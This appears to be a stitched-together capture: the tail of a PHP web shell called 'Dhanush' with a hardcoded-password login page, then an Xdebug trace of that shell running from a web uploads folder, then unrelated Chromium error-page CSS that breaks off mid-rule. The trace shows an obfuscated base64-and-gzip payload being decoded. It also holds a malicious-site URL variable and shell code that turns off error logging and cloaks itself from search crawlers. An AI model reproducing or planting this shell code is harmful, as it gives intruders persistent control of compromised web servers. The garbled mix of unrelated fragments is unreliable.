60*60);\r\n\theader(\"Location:\$self\");\r\n\tob_end_flush();\r\n}\t\r\n?>\r\n\r\n\r\n<hr color=\"#1B1B1B\">\r\n<div align=\"center\">\r\n<font size=\"6\" face=\"Times New Roman, Times, serif\" color=\"#00CC00\">धनुष<br>\r\n--==Coded By Arjun==--</font><br><a href=\"http://www.google.com/search?q=%E0%A4%9C%E0%A4%AF%20%E0%A4%B9%E0%A4%BF%E0%A4%A8%E0%A5%8D%E0%A4%A6\" target=\"_blank\"><font color=\"#FF0000\" size=\"6\">जय हिन्द</font></a></div>\r\n<?php \r\n}\t\r\n}\r\n\r\nif(isset(\$_POST['uname']) && isset(\$_POST['passwd']))\r\n{\r\n if( \$_POST['uname'] == \$user && \$_POST['passwd'] == \$pass )\r\n {\r\n setcookie(\"hacked\", md5(\$pass));\r\n\t\t \$selfenter = \$_SERVER[\"PHP_SELF\"];\r\n\t\t header(\"Location:\$selfenter\");\r\n\t}\r\n}\r\n\t\t\r\nif((!isset(\$_COOKIE['hacked']) || \$_COOKIE['hacked']!=md5(\$pass)) )\r\n{\r\n\t\tshellstyle();\r\n?>\r\n\t<center>\r\n\t<form method=\"POST\">\r\n\t<div style=\"background-color:#171717; width:50%; border-radius:7px; margin-top:150px; -moz-border-radius:25px; height:410px; background-image:url(Windows_7_-_Alien_from_outer_space.jpg);\">\r\n\t\t<table cellpadding=\"9\" cellspacing=\"4\">\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><blink><font size=\"7\"><b>Dhanush</b></font></blink></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"right\"><b>User Name : </b></td>\r\n\t\t\t\t<td><input type=\"text\" name=\"uname\" style=\"background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;\" value=\"User Name\" onFocus=\"if (this.value == 'User Name'){this.value=''; this.style.color='black';}\" onBlur=\"if (this.value == '') {this.value='User Name'; this.style.color='#828282';}\" AUTOCOMPLETE=\"OFF\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"right\"><b>Password : </b></td>\r\n\t\t\t\t<td><input type=\"password\" name=\"passwd\" style=\"background-color:#333333; border-radius:7px; -moz-border-radius:10px; border-color:#000000; width:170px; color:#666666;\" value=\"User Name\" onFocus=\"if (this.value == 'User Name'){this.value=''; this.style.color='black';}\" onBlur=\"if (this.value == '') {this.value='User Name'; this.style.color='#828282';}\" AUTOCOMPLETE=\"OFF\"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><input type=\"submit\" class=\"but\" value=\" Enter \"></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td align=\"center\" colspan=\"2\"><font size=\"6\" face=\"Times New Roman, Times, serif\"><b>--==Coded By Arjun==--</b></font></td>\r\n\t\t\t</tr>\r\n\t\t\t<tr>\r\n\t\t\t\t<td colspan=\"2\"><font size=\"4\" face=\"Times New Roman, Times, serif\"><noscript>Enable Javascript in your browser for the proper working of the shell</noscript></font></td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t</div>\r\n\t\r\n\t</form>\r\n\t</center>\r\n<br>\r\n</body>\r\n</html>\r\n<?php \r\n}\r\n?>");
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 19:33:55.947385]
1 0 1 0.000173 393576
1 3 0 0.000628 464160 {main} 1 /var/www/html/uploads/dhanush (2).php 0 0
1 A /var/www/html/uploads/dhanush (2).php 12 $user = 'Dhanush'
1 A /var/www/html/uploads/dhanush (2).php 13 $pass = 'Dhanush'
1 A /var/www/html/uploads/dhanush (2).php 15 $malsite = 'http://fightagent.ru'
1 A /var/www/html/uploads/dhanush (2).php 17 $ind = 'WW91IGp1c3QgZ290IGhhY2tlZCAhISEhIQ=='
1 A /var/www/html/uploads/dhanush (2).php 19 $bhrt = 'eNrsvXtXG0fSOPw3e85+h/YsyUgbISGuDliyscExWQwEcLJZ20fvSDNCYySNMiNxSda/z/5WVV+me24SIDnJPiExSH2prq6urq7urq569nzUG/39by8ib9waOJd+p/XLJBh7USucDMf+wCutlnch2x/6LShSsr0wDMJWP7i0K8fvjo7MTEhuUYHIrlC9oN2Kxk44LuEXXjX0RkE49oeXAjI2jA21+v7AHyebGzi3Le/W60zGfjCkcgJyXCSYjEeTcas96Xa9EOCKAn//m98tPfEGo/Fdabl1fnD248HZe/vNxcVp6x18a+19d3B8YX8sl9nf//bb3//G4Gd5Ennh3qU3HEeswZwwdO5K1ndBcNn3rAqzzvuTcIQf3p4fvwzG+Ml3Wk7Y6fnXXohff3aGrneLn86cQbsPiYgJggZcRqF3CSQed3olu2azKvMHo37geiX7v3ZFb7sMeXbNx8RCvAXW+NPzHNcLS1SsVq+uso3VDXYcjNnrYDJ0bYkF/ni3'
2 4 0 0.000762 464160 base64_decode 0 /var/www/html/uploads/dhanush (2).php 21 1 'eNrsvXtXG0fSOPw3e85+h/YsyUgbISGuDliyscExWQwEcLJZ20fvSDNCYySNMiNxSda/z/5WVV+me24SIDnJPiExSH2prq6urq7urq569nzUG/39by8ib9waOJd+p/XLJBh7USucDMf+wCutlnch2x/6LShSsr0wDMJWP7i0K8fvjo7MTEhuUYHIrlC9oN2Kxk44LuEXXjX0RkE49oeXAjI2jA21+v7AHyebGzi3Le/W60zGfjCkcgJyXCSYjEeTcas96Xa9EOCKAn//m98tPfEGo/Fdabl1fnD248HZe/vNxcVp6x18a+19d3B8YX8sl9nf//bb3//G4Gd5Ennh3qU3HEeswZwwdO5K1ndBcNn3rAqzzvuTcIQf3p4fvwzG+Ml3Wk7Y6fnXXohff3aGrneLn86cQbsPiYgJggZcRqF3CSQed3olu2azKvMHo37geiX7v3ZFb7sMeXbNx8RCvAXW+NPzHNcLS1SsVq+uso3VDXYcjNnrYDJ0bYkF/ni3'
2 4 1 0.000981 533824
2 4 R 'x��{W\033G�8�7{�~��,�H\033!!�\016X���1Y\f\004p�Y�G�H3Bc$�2#qIֿ�VU_�{n\022 9�>!1H}������z�|�\033��o/"o�\0328�~���$\030{Q+�\f��+��w!�\037�-(R��0\f�V?��+��LHnQ�ȮP��݊�N8.�\027^5�FA8���\00226�\r����\037\'�\0338�-���L�~0�r\002r\\$��G�q�=�v�\020�\002���-=�\006��]i�u~p���{����i�\035|k�}wp|a,��������gy\022y�ޥ7\034G���0t�J�wAp��\n���p�\037ޞ\037�\f��wZN���^�_v��w��ΜA�\017��\t�\006\\F�w\t$\036wz%�f�*�\a�~�z%��vEo�\fyv���B�\005���\034�\vKT�V�����\rv\034���`2tm�\005�x��x�}����Z��O\006#��\02'
2 5 0 0.001886 533792 gzuncompress 0 /var/www/html/uploads/dhanush (2).php 21 1 'x��{W\033G�8�7{�~��,�H\033!!�\016X���1Y\f\004p�Y�G�H3Bc$�2#qIֿ�VU_�{n\022 9�>!1H}������z�|�\033��o/"o�\0328�~���$\030{Q+�\f��+��w!�\037�-(R��0\f�V?��+��LHnQ�ȮP��݊�N8.�\027^5�FA8���\00226�\r����\037\'�\0338�-���L�~0�r\002r\\$��G�q�=�v�\020�\002���-=�\006��]i�u~p���{����i�\035|k�}wp|a,��������gy\022y�ޥ7\034G���0t�J�wAp��\n���p�\037ޞ\037�\f��wZN���^�_v��w��ΜA�\017��\t�\006\\F�w\t$\036wz%�f�*�\a�~�z%��vEo�\fyv���B�\005���\034�\vKT�V�����\rv\034���`2tm�\005�x��x�}����Z��O\006#��\02'
2 5 1 0.003372 767296
2 5 R '<?php\r\n@set_magic_quotes_runtime(0);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\nob_start();\r\nerror_reporting(0);\r\n@set_time_limit(0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n\r\nif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) \r\n{\r\n $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n header(\'HTT'
0.008133 3040200
TRACE END [2023-02-12 19:33:55.955380]
<html dir="ltr" lang="en"><head>
<meta charset="utf-8">
<meta name="color-scheme" content="light dark">
<meta name="theme-color" content="#fff">
<meta name="viewport" content="width=device-width, initial-scale=1.0,
maximum-scale=1.0, user-scalable=no">
<title>localhost</title>
<style>/* Copyright 2017 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
a {
color: var(--link-color);
}
body {
--background-color: #fff;
--error-code-color: var(--google-gray-700);
--google-blue-100: rgb(210, 227, 252);
--google-blue-300: rgb(138, 180, 248);
--google-blue-600: rgb(26, 115, 232);
--google-blue-700: rgb(25, 103, 210);
--google-gray-100: rgb(241, 243, 244);
--google-gray-300: rgb(218, 220, 224);
--google-gray-500: rgb(154, 160, 166);
--google-gray-50: rgb(248, 249, 250);
--google-gray-600: rgb(128, 134, 139);
--google-gray-700: rgb(95, 99, 104);
--google-gray-800: rgb(60, 64, 67);
--google-gray-900: rgb(32, 33, 36);
--heading-color: var(--google-gray-900);
--link-color: rgb(88, 88, 88);
--popup-container-background-color: rgba(0,0,0,.65);
--primary-button-fill-color-active: var(--google-blue-700);
--primary-button-fill-color: var(--google-blue-600);
--primary-button-text-color: #fff;
--quiet-background-color: rgb(247, 247, 247);
--secondary-button-border-color: var(--google-gray-500);
--secondary-button-fill-color: #fff;
--secondary-button-hover-border-color: var(--google-gray-600);
--secondary-button-hover-fill-color: var(--google-gray-50);
--secondary-button-text-color: var(--google-gray-700);
--small-link-color: var(--google-gray-700);
--text-color: var(--google-gray-700);
background: var(--background-color);
color: var(--text-color);
word-wrap: break-word;
}
.nav-wrapper .secondary-button {
background: var(--secondary-button-fill-color);
border: 1px solid var(--secondary-button-border-color);
color: var(--secondary-button-text-color);
float: none;
margin: 0;
padding: 8px 16px;
}
.hidden {
display: none;
}
html {
-webkit-text-size-adjust: 100%;
font-size: 125%;
}
.icon {
background-repeat: no-repeat;
background-size: 100%;
}
@media (prefers-color-scheme: dark) {
body {
--background-color: var(--google-gray-900);
--error-code-color: var(--google-gray-500);
--heading-color: var(--google-gray-500);
--link-color: var(--google-blue-300);
--primary-button-fill-color-active: rgb(129, 162, 208);
--primary-button-fill-color: var(--google-blue-300);
--primary-button-text-color: var(--google-gray-900);
--quiet-background-color: var(--background-color);
--secondary-button-border-color: var(--google-gray-700);
--secondary-button-fill-color: var(--google-gray-900);
--secondary-button-hover-fill-color: rgb(48, 51, 57);
--secondary-button-text-color: var(--google-blue-300);
--small-link-color: var(--google-blue-300);
--text-color: var(--google-gray-500);
}
}
</style>
<style>/* Copyright 2014 The Chromium Authors
Use of this source code is governed by a BSD-style license that can be
found in the LICENSE file. */
button {
border: 0;
border-radius: 4px;
box-sizing: border-box;
color: var(--primary-button-text-color);
cursor: pointer;
float: right;
font-size: .875em;
margin: 0;
padding: 8px 16px;
transition: box-shadow 150ms cubic-bezier(0.4, 0, 0.2, 1);
user-select: none;
}
[dir='rtl'] button {
float: left;
}
.bad-clock button,
.captive-portal button,
.https-only button,
.insecure-form button,
.lookalike-url button,
.main-frame-blocked button,
.neterror button,
.pdf button,
.ssl button,
.enterprise-block button,
.enterprise-warn button,
.safe-browsing-billing button {
background: var(--primary-button-fill-color);
}
button:active {
background: var(--primary-button-fill-color-active);
outline: 0;
}
#debugging {
display: inline;
overflow: auto;
}
.debugging-content {
line-height: 1em;
margin-bottom: 0;
margin-top: 1em;
}
.debugging-content-fixed-width {
display: block;
font-family: monospace;
font-size: 1.2em;
margin-top: 0.5em;
}
.debugging-title {
font-weight: bold;
}
#details {
margin: 0 0 50px;
}
#details p:not(:first-of-type) {
margin-top: 20px;
}
.secondary-button:active {
border-color: white;
box-shadow: 0 1px 2px 0 rgba(60, 64, 67, .3),
0 2px 6px 2px rgba(60, 64, 67, .15);
}
.secondary-button:hover {
background: var(--secondary-button-hover-fill-color);
border-color: var(--secondary-button-hover-border-color);
text-decoration: none;
}
.error-code {
color: var(--error-code-color);
font-size: .8em;
margin-top: 12px;
text-transform: uppercase;
}
#error-debugging-info {
font-size: 0.8em;
}
h1 {
color: var(--heading-color);
font-size: 1.6em;
font-weight: normal;
line-height: 1.25em;
margin-bottom: 16px;
}
h2 {
font-size: 1.2em;
font-weight: normal;
}
.icon {
height: 72px;
margin: 0 0 40px;
width: 72px;
}
input[type=checkbox] {
opacity: 0;
}
input[type=checkbox]:focus ~ .checkbox::after {
outline: -webkit-focus-ring-color auto 5px;
}
.interstitial-wrapper {
box-sizing: border-box;
font-size: 1em;
line-height: 1.6em;
margin: 14vh auto 0;
max-width: 600px;
width: 100%;
}
#main-message > p {
display: inline;
}
#extended-reporting-opt-in {
font-size: .875em;
margin-top: 32px;
}
#extended-reporting-opt-in label {
display: grid;
grid-template-columns: 1.8em 1fr;
position: relative;
}
#enhanced-protection-message {
border-radius: 4px;
font-size: 1em;
margin-top: 32px;
padding: 10px 5px;
}
#enhanced-protection-message label {
display: grid;
grid-template-columns: 2.5em 1fr;
position: relative;
}
#enhanced-protection-message div {
margin: 0.5em;
}
#enhanced-protection-message .icon {
height: 1.5em;
vertical-align: middle;
width: 1.5em;
}
.nav-wrapper {
margin-top: 51px;
}
.nav-wrapper::after {
clear: both;
content: '';
display: table;
width: 100%;
}
.small-link {
color: var(--small-link-color);
font-size: .875em;
}
.checkboxes {
flex: 0 0 24px;
}
.checkbox {
--padding: .9em;
background: transparent;
display: block;
height: 1em;
left: -1em;
padding-inline-start: var(--padding);
position: absolute;
right: 0;
top: -.5em;
width: 1em;
}
.checkbox::after {
border: 1px solid white;
border-radius: 2px;
content: '';
height: 1em;
left: var(--padding);
position: absolute;
top: var(--padding);
width: 1em;
}
.checkbox::before {
background: transparent;
border: 2px solid white;
border-inline-end-width: 0;
border-top-width: 0;
content: '';
height: .2em;
left: calc(.3em + var(--padding));
opacity: 0;
position: absolute;
top: calc(.3em + var(--padding));
transform: rotate(-45deg);
width: .5em;
}
input[type=checkbox]:checked ~ .checkbox::before {
opacity: 1;
}
#recurrent-error-message {
background: #ededed;
border-radius: 4px;
margin-bottom: 16px;
margin-top: 12px;
padding: 12px 16px;
}
.showing-recurrent-error-message #extended-reporting-opt-in {
margin-top: 16px;
}
.showing-recurrent-error-message #enhanced-protection-message {
margin-top: 16px;
}
@media (max-width: 700px) {
.interstitial-wrapper {
padding: 0 10%;
}
#error-debugging-info {
overflow: auto;
}
}
@media (max-width: 420px) {
button,
[dir='rtl'] button,
.small-link {
float: none;
font-size: .825em;
font-weight: 500;
margin: 0;
width: 100%;
}
button {
padding: 16px 24px;
}
#details {
margin: 20px 0 20px 0;
}
#details p:not(:first-of-type) {
margin-top: 10px;
}
.secondary-button:not(.hidden) {
display: block;
margin-top: 20px;
text-align: center;
width: 100%;
}
.interstitial-wrapper {
padding: 0 5%;
}
#extended-reporting-opt-in {
margin-top: 24px;
}
#enhanced-protection-message {
margin-top: 24px;
}
.nav-wrapper {
margin-top: 30px;
}
}
/**
* Mobile specific styling.
* Navigation buttons are anchored to the bottom of the screen.
* Details message replaces the top content in its own scrollable area.
*/
@media (max-width: 420px) {
.nav-wrapper .secondary-button {
border: 0;
margin: 16px 0 0;
margin-inline-end: 0;
padding-bottom: 16px;
padding-top: 16px;
}
}
/* Fixed nav. */
@media (min-width: 240px) and (max-width: 420px) and
(min-height: 401px),
(min-width: 421px) and (min-height: 240px) and
(max-height: 560px) {
body .nav-wrapper {
background: var(--background-color);
bottom: 0;
box-shadow: 0 -12px 24px var(--background-color);
left: 0;
margin: 0 auto;
max-width: 736px;
padding-inline-end: 24px;
padding-inline-start: 24px;
position: fixed;
right: 0;
width: 100%;
z-index: 2;
}
.interstitial-wrapper {
max-width: 736px;
}
#details,
#main-content {
padding-bottom: 40px;
}
#details {
padding-top: 5.5vh;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 420px) and (orientation: portrait),
(max-height: 560px) {
body {
margin: 0 auto;
}
button,
[dir='rtl'] button,
button.small-link,
.nav-wrapper .secondary-button {
font-family: Roboto-Regular,Helvetica;
font-size: .933em;
margin: 6px 0;
transform: translatez(0);
}
.nav-wrapper {
box-sizing: border-box;
padding-bottom: 8px;
width: 100%;
}
#details {
box-sizing: border-box;
height: auto;
margin: 0;
opacity: 1;
transition: opacity 250ms cubic-bezier(0.4, 0, 0.2, 1);
}
#details.hidden,
#main-content.hidden {
height: 0;
opacity: 0;
overflow: hidden;
padding-bottom: 0;
transition: none;
}
h1 {
font-size: 1.5em;
margin-bottom: 8px;
}
.icon {
margin-bottom: 5.69vh;
}
.interstitial-wrapper {
box-sizing: border-box;
margin: 7vh auto 12px;
padding: 0 24px;
position: relative;
}
.interstitial-wrapper p {
font-size: .95em;
line-height: 1.61em;
margin-top: 8px;
}
#main-content {
margin: 0;
transition: opacity 100ms cubic-bezier(0.4, 0, 0.2, 1);
}
.small-link {
border: 0;
}
.suggested-left > #control-buttons,
.suggested-right > #control-buttons {
float: none;
margin: 0;
}
}
@media (min-width: 421px) and (min-height: 500px) and (max-height: 560px) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
@media (min-height: 400px) and (orientation:portrait) {
.interstitial-wrapper {
margin-bottom: 145px;
}
}
@media (min-height: 299px) {
.nav-wrapper {
padding-bottom: 16px;
}
}
@media (max-height: 560px) and (min-height: 240px) and (orientation:landscape) {
.extended-reporting-has-checkbox #details {
padding-bottom: 80px;
}
}
@media (min-height: 500px) and (max-height: 650px) and (max-width: 414px) and
(orientation: portrait) {
.interstitial-wrapper {
margin-top: 7vh;
}
}
@media (min-height: 650px) and (max-width: 414px) and (orientation: portrait) {
.interstitial-wrapper {
margin-top: 10vh;
}
}
/* Small mobile screens. No fixed nav. */
@media (max-height: 400px) and (orientation: portrait),
(max-height: 239px) and (orientation: landscape),
(max-width: 419px) and (max-height: 399px) {
.interstitial-wrapper {
display: flex;
flex-direction: column;
margin-bottom: 0;
}
#details {
flex: 1 1 auto;
order: 0;
}
#main-content {
flex: 1 1 auto;
order: 0;
}
.nav-wrapper {
flex: 0 1 auto;
margin-top: 8px;
order: 1;
padding-inline-end: 0;
padding-inline-start: 0;
position: relative;
width: 100%;
}
button,
.nav-wrapper .secondary-button {
padding: 16px 24px;
}
button.small-link {
color: var(--google-blue-600);
}
}
@media (max-width: 239px) and (orientation: portrait) {
.nav-wrapper {
padding-inline-end: 0;
padding-inline-start: 0;
}
}
</style>
<style>/* Copyright 2013 The Chromium Authors
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE file. */
/* Don't use the main frame div when the error is in a subframe. */
html[subframe] #main-frame-error {
display: none;
}
/* Don't use the subframe error div when the error is in a main frame. */
html:not([subframe]) #sub-frame-error {
display: none;
}
h1 {
margin-top: 0;
word-wrap: break-word;
}
h1 span {
font-weight: 500;
}
a {
text-decoration: none;
}
.icon {
-webkit-user-select: none;
display: inline-block;
}
.icon-generic {
/* Can't access chrome://theme/IDR_ERROR_NETWORK_GENERIC from an untrusted
* renderer process, so embed the resource manually. */
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAENJREFUeF7tzbEJACEQRNGBLeAasBCza2lLEGx0CxFGG9hBMDDxRy/72O9FMnIFapGylsu1fgoBdkXfUHLrQgdfrlJN1BdYBjQQm3UAAAAASUVORK5CYII=) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQAQMAAADdiHD7AAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAFJJREFUeF7t0cENgDAMQ9FwYgxG6WjpaIzCCAxQxVggFuDiCvlLOeRdHR9yzjncHVoq3npu+wQUrUuJHylSTmBaespJyJQoObUeyxDQb3bEm5Au81c0pSCD8HYAAAAASUVORK5CYII=) 2x);
}
.icon-offline {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEgAAABIAQMAAABvIyEEAAAABlBMVEUAAABTU1OoaSf/AAAAAXRSTlMAQObYZgAAAGxJREFUeF7tyMEJwkAQRuFf5ipMKxYQiJ3Z2nSwrWwBA0+DQZcdxEOueaePp9+dQZFB7GpUcURSVU66yVNFj6LFICatThZB6r/ko/pbRpUgilY0Cbw5sNmb9txGXUKyuH7eV25x39DtJXUNPQGJtWFV+BT/QAAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAJAAAACQBAMAAAAVaP+LAAAAGFBMVEUAAABTU1NNTU1TU1NPT09SUlJSUlJTU1O8B7DEAAAAB3RSTlMAoArVKvVgBuEdKgAAAJ1JREFUeF7t1TEOwyAMQNG0Q6/UE+RMXD9d/tC6womIFSL9P+MnAYOXeTIzMzMzMzMzaz8J9Ri6HoITmuHXhISE8nEh9yxDh55aCEUoTGbbQwjqHwIkRAEiIaG0+0AA9VBMaE89Rogeoww936MQrWdBr4GN/z0IAdQ6nQ/FIpRXDwHcA+JIJcQowQAlFUA0MfQpXLlVQfkzR4igS6ENjknm/wiaGhsAAAAASUVORK5CYII=) 2x);
position: relative;
}
.icon-disabled {
content: -webkit-image-set(
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAHAAAABICAMAAAAZF4G5AAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAASZJREFUeAHd11Fq7jAMRGGf/W/6PoWB67YMqv5DybwG/CFjRuR8JBw3+ByiRjgV9W/TJ31P0tBfC6+cj1haUFXKHmVJo5wP98WwQ0ZCbfUc6LQ6VuUBz31ikADkLMkDrfUC4rR6QGW+gF6rx7NaHWCj1Y/W6lf4L7utvgBSt3rBFSS/XBMPUILcJINHCBWYUfpWn4NBi1ZfudIc3rf6/NGEvEA+AsYTJozmXemjXeLZAov+mnkN2HfzXpMSVQDnGw++57qNJ4D1xitA2sJ+VAWMygSEaYf2mYPTjZfk2K8wmP7HLIH5Mg4/pP+PEcDzUvDMvYbs/2NWwPO5vBdMZE4EE5UTQLiBFDaUlTDPBRoJ9HdAYIkIo06og3BNXtCzy7zA1aXk5x+tJARq63eAygAAAABJRU5ErkJggg==) 1x,
url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAOAAAACQAQMAAAArwfVjAAAABlBMVEVMaXFTU1OXUj8tAAAAAXRSTlMAQObYZgAAAYdJREFUeF7F1EFqwzAUBNARAmVj0FZe5QoBH6BX+dn4GlY2PYNzGx/A0CvkCIJuvIraKJKbgBvzf2g62weDGD7CYggpfFReis4J0ey9EGFIiEQQojFSlA9kSIiqd0KkFjKsewgRbStEN19mxUPTtmW9HQ/h6tyqNQ8NlSMZdzyE6qkoE0trVYGFm0n1WYeBhduzwbwBC7voS+vIxfeMjeaiLxsMMtQNwMPtuew+DjzcTHk8YMfDknEcIUOtf2lVfgVH3K4Xv5PRYAXRVMtItIJ3rfaCIVn9DsTH2NxisAVRex2Hh3hX+/mRUR08bAwPEYsI51ZxWH4Q0SpicQRXeyEaIug48FEdegARfMz/tADVsRciwTAxW308ehmC2gLraC+YCbV3QoTZexa+zegAEW5PhhgYfmbvJgcRqngGByOSXdFJcLk2JeDPEN0kxe1JhIt5FiFA+w+ItMELsUyPF2IaJ4aILqb4FbxPwhImwj6JauKgDUCYaxmYIsd4KXdMjIC9ItB5Bn4BNRwsG0XM2nwAAAAASUVORK5CYII=) 2x);
width: 112px;
}
.hidden {
display: none;
}
#suggestions-list a {
color: var(--google-blue-600);
}
#suggestions-list p {
margin-block-end: 0;
}
#suggestions-list ul {
margin-top: 0;
}
.single-suggestion {
list-style-type: none;
padding-inline-start: 0;
}
#error-information-button {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBmaWxsPSJub25lIiBkPSJNMCAwaDI0djI0SDB6Ii8+PHBhdGggZD0iTTExIDE4aDJ2LTJoLTJ2MnptMS0xNkM2LjQ4IDIgMiA2LjQ4IDIgMTJzNC40OCAxMCAxMCAxMCAxMC00LjQ4IDEwLTEwUzE3LjUyIDIgMTIgMnptMCAxOGMtNC40MSAwLTgtMy41OS04LThzMy41OS04IDgtOCA4IDMuNTkgOCA4LTMuNTkgOC04IDh6bTAtMTRjLTIuMjEgMC00IDEuNzktNCA0aDJjMC0xLjEuOS0yIDItMnMyIC45IDIgMmMwIDItMyAxLjc1LTMgNWgyYzAtMi4yNSAzLTIuNSAzLTUgMC0yLjIxLTEuNzktNC00LTR6Ii8+PC9zdmc+);
height: 24px;
vertical-align: -.15em;
width: 24px;
}
.use-popup-container#error-information-popup-container
#error-information-popup {
align-items: center;
background-color: var(--popup-container-background-color);
display: flex;
height: 100%;
left: 0;
position: fixed;
top: 0;
width: 100%;
z-index: 100;
}
.use-popup-container#error-information-popup-container
#error-information-popup-content > p {
margin-bottom: 11px;
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list ul {
margin-inline-start: 15px;
}
.use-popup-container#error-information-popup-container
#error-information-popup-box {
background-color: var(--background-color);
left: 5%;
padding-bottom: 15px;
padding-top: 15px;
position: fixed;
width: 90%;
z-index: 101;
}
.use-popup-container#error-information-popup-container div.error-code {
margin-inline-start: 20px;
}
.use-popup-container#error-information-popup-container #suggestions-list p {
margin-inline-start: 20px;
}
:not(.use-popup-container)#error-information-popup-container
#error-information-popup-close {
display: none;
}
#error-information-popup-close {
margin-bottom: 0;
margin-inline-end: 35px;
margin-top: 15px;
text-align: end;
}
.link-button {
color: rgb(66, 133, 244);
display: inline-block;
font-weight: bold;
text-transform: uppercase;
}
#sub-frame-error-details {
color: #8F8F8F;
/* Not done on mobile for performance reasons. */
text-shadow: 0 1px 0 rgba(255,255,255,0.3);
}
[jscontent=hostName],
[jscontent=failedUrl] {
overflow-wrap: break-word;
}
.secondary-button {
background: #d9d9d9;
color: #696969;
margin-inline-end: 16px;
}
.snackbar {
background: #323232;
border-radius: 2px;
bottom: 24px;
box-sizing: border-box;
color: #fff;
font-size: .87em;
left: 24px;
max-width: 568px;
min-width: 288px;
opacity: 0;
padding: 16px 24px 12px;
position: fixed;
transform: translateY(90px);
will-change: opacity, transform;
z-index: 999;
}
.snackbar-show {
-webkit-animation:
show-snackbar 250ms cubic-bezier(0, 0, 0.2, 1) forwards,
hide-snackbar 250ms cubic-bezier(0.4, 0, 1, 1) forwards 5s;
}
@-webkit-keyframes show-snackbar {
100% {
opacity: 1;
transform: translateY(0);
}
}
@-webkit-keyframes hide-snackbar {
0% {
opacity: 1;
transform: translateY(0);
}
100% {
opacity: 0;
transform: translateY(90px);
}
}
.suggestions {
margin-top: 18px;
}
.suggestion-header {
font-weight: bold;
margin-bottom: 4px;
}
.suggestion-body {
color: #777;
}
/* Decrease padding at low sizes. */
@media (max-width: 640px), (max-height: 640px) {
h1 {
margin: 0 0 15px;
}
.suggestions {
margin-top: 10px;
}
.suggestion-header {
margin-bottom: 0;
}
}
#download-link,
#download-link-clicked {
margin-bottom: 30px;
margin-top: 30px;
}
#download-link-clicked {
color: #BBB;
}
#download-link::before,
#download-link-clicked::before {
content: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxLjJlbSIgaGVpZ2h0PSIxLjJlbSIgdmlld0JveD0iMCAwIDI0IDI0Ij48cGF0aCBkPSJNNSAyMGgxNHYtMkg1bTE0LTloLTRWM0g5djZINWw3IDcgNy03eiIgZmlsbD0iIzQyODVGNCIvPjwvc3ZnPg==);
display: inline-block;
margin-inline-end: 4px;
vertical-align: -webkit-baseline-middle;
}
#download-link-clicked::before {
opacity: 0;
width: 0;
}
#offline-content-list-visibility-card {
border: 1px solid white;
border-radius: 8px;
display: flex;
font-size: .8em;
justify-content: space-between;
line-height: 1;
}
#offline-content-list.list-hidden #offline-content-list-visibility-card {
border-color: rgb(218, 220, 224);
}
#offline-content-list-visibility-card > div {
padding: 1em;
}
#offline-content-list-title {
color: var(--google-gray-700);
}
#offline-content-list-show-text,
#offline-content-list-hide-text {
color: rgb(66, 133, 244);
}
/* Hides the "hide" text div when the offline content list is collapsed/hidden
* and, alternatively, hides the "show" text div when the offline content list
* is expanded/shown.
*/
#offline-content-list.list-hidden #offline-content-list-hide-text,
#offline-content-list:not(.list-hidden) #offline-content-list-show-text {
display: none;
}
/* Controls the animation of the offline content list when it is expanded/shown.
*/
#offline-content-suggestions {
/* Max-height has to be set for the height animation to work. The chosen value
* is a little greater than the maximum height the list will have, when all
* suggestions have images, so that it is never clamped. This makes so that
* when the actual height is smaller then the animation is not as smooth.
*/
max-height: 27em;
transition: max-height 200ms ease-in, visibility 0s 200ms,
opacity 200ms 200ms linear;
}
/* Controls the animation of the offline content list when it is
* collapsed/hidden.
*/
#offline-content-list.list-hidden #offline-content-suggestions {
max-height: 0;
opacity: 0;
transition: opacity 200ms linear, visibility 0s 200ms,
max-height 200ms 200ms ease-out;
visibility: hidden;
}
#offline-content-list {
margin-inline-start: -5%;
width: 110%;
}
/* The selectors below adjust the "overflow" of the suggestion cards contents
* based on the same screen size based strategy used for the main frame, which
* is applied by the `interstitial-wrapper` class. */
@media (max-width: 420px) {
#offline-content-list {
margin-inline-start: -2.5%;
width: 105%;
}
}
@media (max-width: 420px) and (orientation: portrait),
